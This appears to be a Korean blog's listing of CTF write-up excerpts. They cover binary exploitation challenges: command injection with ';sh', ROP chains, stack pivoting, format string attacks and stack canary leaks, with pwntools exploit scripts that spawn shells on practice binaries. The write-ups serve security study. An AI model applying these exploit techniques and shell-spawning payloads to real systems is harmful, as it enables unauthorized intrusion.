anonymous?

일단 sh를 쉘에 입력하면 쉘이 뜨는 것을 알고 sh 명령어를 사용할 수 있으면 되겠다고 생각했다. 근데 ls %s 로 명령어를 실행해서 어떻게 하면 ls한 후 sh를 실행하도록 할까 시도를 계속해보다가 ls ; sh 로 입력하면 ls 명령어를 실행한 후 sh 명령어를 실행하도록 할 수 있었다. 따라서 입력할 때 ;sh로 주면 ls ;sh로 명령어가 실행되서 쉘을 실행시킬 수 있다. #!/usr/bin/python from pwn import * p = process("./pwn5") p.sendafter("pass to ls:\n", ';sh') p.interactive() ; sh로 주면 h가 잘려서 ;sh로 붙여서 줘야 제대로 쉘이 따진다.

SYSTEM HACKING/CTF, etc 2020. 5. 31. 10:44

int read_input() { int buf; // [rsp+0h] [rbp-10h] buf = 0; read(0, &buf, 8uLL); return atoi((const char *)&buf); } int menu() { puts("1. vuln"); puts("2. print"); puts("3. quit"); return printf("> "); } int useful_function() { void *v0; // ST08_8 v0 = dlsym((void *)0xFFFFFFFFFFFFFFFFLL, "printf"); return printf("printf() addr: %p\n", v0); } int Init() { setvbuf(_bss_start, 0LL, 2, 0LL); setvbuf(..

SYSTEM HACKING/CTF, etc 2020. 5. 28. 15:00

# 보호기법 확인 # Process Leave_ret 주소 : 0x8048504 Bss 섹션 크기가 8 바이트밖에 안 되므로 dynamic 섹션을 사용한다. Dynamic 섹션 시작주소는 0x8049efc pop_ret : 0x804836d(으로 사용함) pop_pop_pop_ret : 0x8048569 puts_system_offset : 0x24f00 puts_binsh_offset : 0xfbd6b # Exploit Code from pwn import * p = process("./migration") elf = ELF("./migration") dynamic = 0x8049efc buf = dynamic + 0x600 buf2 = dynamic + 0x800 p3ret = 0x8048569 p1..

SYSTEM HACKING/CTF, etc 2020. 5. 27. 11:57

# Process bss 영역에 존재하는 크기가 0xc8인 전역변수에 read로 입력받는다. 그리고 printf(buf); 를 하는데 이때 FSB 취약점이 발생한다. 버퍼가 전역변수일 때 FSB 취약점이 발생하는 경우 Double Staged FSB 기법을 사용한다. 1. libc leak 스택 확인해보면 __libc_start_main+247 주소를 확인해볼 수 있다. offset을 계산해서 leak하고 libc base를 구한다. 2. 스택 영역 가리키는 주소의 값이 또 스택 영역 가리키는 부분 2개 찾기 - got와 got+2로 각각 나눠서 덮어줘야 하므로 2개 찾는다. - 메모리의 높은 주소 방향으로 스택 값들을 꺼내온다. 따라서 스택 포인터는 이 포인터 주소보다 더 높은 주소 값을 가리켜야 한다..

SYSTEM HACKING/CTF, etc 2020. 5. 4. 18:13

# 보호기법 / file NX enabled : 쉘코드 실행 권한 X Partial RELRO : GOT Overwrite 가능 $ ldd pivot : 확인해봤을 때 libc base 주소 계속 바뀜 -> ASLR 걸려있음 $ file pivot : dynamically linked, no stripped # Process uselessFunction 함수를 어셈블리 코드로 확인해보면 역시 아래 usefulGadgets이 있다. - mov rax, [rax] ; ret : rax 레지스터 주소에 적힌 값을 rax 레지스터에 넣는다. 만약 rax 레지스터 값이 got면 got에 적힌 함수 주소 값이 rax 레지스터에 적힐 것이다. - pop rax ; ret : x64 아키텍쳐에서 rdi, rsi, rd..

SYSTEM HACKING/CTF, etc 2020. 4. 20. 16:25

# checksec # process ★취약점 1) idx < 255만 체크한다. 음수 인덱스로는 어떤 것도 줄 수 있다. 2) signed나 unsigned는 0x8000000000000000와 | 을 시키면 idx < 255로 양수 범위가 제한되어 있어도 우회 가능하다. 0x8000000000000000는 최상위 1비트 부호를 나타낸다. 그리고 | 을 시켜도 data[idx]에서 최상위 비트는 날아가므로 상관없다. edit과 print를 합쳐서 총 5번 값을 넣을 수 있다. exit함수를 이용해서 exploit할 것이다. 1. libc leak edit_data 함수에서 값을 넣고 값이 들어간 주소의 위로 올라가면 libc 함수 주소가 들어있음을 알 수 있다. offset은 -0x60인데 인덱스이므로..

SYSTEM HACKING/CTF, etc 2020. 3. 26. 17:57

# checksec # process mov [r14], r15 ; ret 가젯이 주어졌다. pop rdi ; ret 가젯도 있다. 사실 one gadget으로 풀린다.. 두 방법으로 풀어보겠다. 1. return address -> one gadget 1) libc leak - one gadget 주소 구한다. 2) return address -> one gadget 2. system("/bin/sh") 1) pop r14 ; pop r15 ; ret 가젯을 사용해서 r14, r15 레지스터에 각각 &data, "/bin/sh\x00"을 넣는다. pop r14 ; pop 15 ; ret : 0x400890 - 32bit의 경우, pop edi ; pop ebp ; ret 가젯 사용 2) mov [r14..

SYSTEM HACKING/CTF, etc 2020. 3. 25. 20:10

# checksec # process 그냥 설명에 나와있는대로 callme_one(1, 2, 3) callme_two(1, 2, 3) callme_three(1, 2, 3)를 차례로 rop gadget으로 호출하면 flag가 출력된다. - 64bit p3ret gadget : 0x401ab0 - 32bit gadget # exploit code & exploit - 64bit #!/usr/bin/python from pwn import * p = process("./callme") elf = ELF("./callme") libc = elf.libc p3ret = 0x401ab0 pay = 'A'*(0x20+0x8) pay += p64(p3ret) + p64(1) + p64(2) + p64(3) + p64..

SYSTEM HACKING/CTF, etc 2020. 3. 25. 19:53

# checksec # code # process ldd로 libcbase를 확인해봤을 때 계속 변하는 것으로 보아 ASLR이 걸려있음을 알 수 있다. 따라서 libc leak이 필요하다. pop rdi ; ret 가젯을 사용해서 puts@plt로 got를 출력하도록 해서 libcbase를 구하고 one gadget 주소를 구한다. - 64bit - 32bit 그 후 return address -> one gadget으로 덮는다. \x7f까지 6바이트 받아지므로 "\x7f까지 받도록 하고 앞에 ‘\x00’ 두 개를 붙였다. # exploit code & exploit 1. 64bit #!/usr/bin/python from pwn import * p = process("./split") elf = ELF..

SYSTEM HACKING/CTF, etc 2020. 3. 25. 19:49

# checksec # exploit code & exploit 1. 64bit #!/usr/bin/python from pwn import * p = process("./ret2win") elf = ELF("./ret2win") ret2win = elf.symbols['ret2win'] pay = 'A'*0x28 + p64(ret2win) p.sendlineafter("> ", pay) p.interactive() 2. 32bit #!/usr/bin/python from pwn import * p = process("./ret2win32") elf = ELF("./ret2win32") ret2win = elf.symbols['ret2win'] p.sendlineafter("> ", 'A'*(0x28+0..

SYSTEM HACKING/CTF, etc 2020. 3. 25. 19:42

# process 1. canary leak v3에 입력을 받는데, 0x20 바이트 뒤에 v4 변수의 canary가 있다. 따라서 v3로 return address를 덮기 전에 canary 값을 알아야 한다. main 함수로 가보면 처음에 sub_806CC70() 함수를 호출한다. 이 함수를 보면 fork() 함수를 사용하는 것을 알 수 있다. 즉, fork()는 메모리까지 그대로 복사해주므로 부모와 자식의 canary 값이 같다. ATE ~ 로는 16바이트만 출력해줘서 직접적인 canary leak이 불가능하지만 처음에 v3에 size만큼 값을 줄 때 canary를 덮을 수 있다. 이때 canary 값이 다르면 *** stack smashed detected *** 가 출력된다. 이것을 이용해서 can..

SYSTEM HACKING/CTF, etc 2020. 3. 9. 21:24

# checksec / file # process V4+SFP 크기는 0x20인데 217 바이트 입력할 수 있어서 overflow 취약점 발생 1) ROP gadget 찾기 2) canary leak Buf(0x18) + ‘B’ p.recvuntil(‘B’) => 하위 바이트가 null byte라서 상관없다. canary = “\x00” + p.recv(7) *주의 : send로 개행문자 없이 보내야 canary가 제대로 leak된다. 3) read(0, bss, len(binsh)) - ROP - 입력 시 "/bin/sh" 입력한다. bss : 0x6cdb60 read : 0x440300 (stripped되어있어서 read 주소를 찾아야 했다.) 4) execve(bss, NULL, NULL) - sy..

SYSTEM HACKING/CTF, etc 2020. 2. 28. 18:26